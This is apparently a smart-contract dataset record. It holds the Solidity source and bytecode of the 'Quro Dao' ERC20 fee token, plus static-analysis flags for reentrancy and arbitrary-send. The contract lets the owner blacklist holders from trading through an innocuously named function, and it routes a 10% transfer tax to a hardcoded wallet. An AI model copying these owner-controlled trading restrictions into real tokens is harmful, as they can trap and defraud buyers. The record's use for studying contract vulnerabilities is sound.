260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200da808fc8e60c07fc3fc7e7490483ee13993f9702597421621406823931a1c7a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,358 |
0x5ece009358077f53a0d0dbc38e23e5fc42aa4368
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Quro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Quro Dao";
string private constant _symbol = "QURO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x68603fD5df25DA2eafdd029A97b46523d0b92Bba);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
_maxWalletSize = 6000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f5175726f2044616f000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610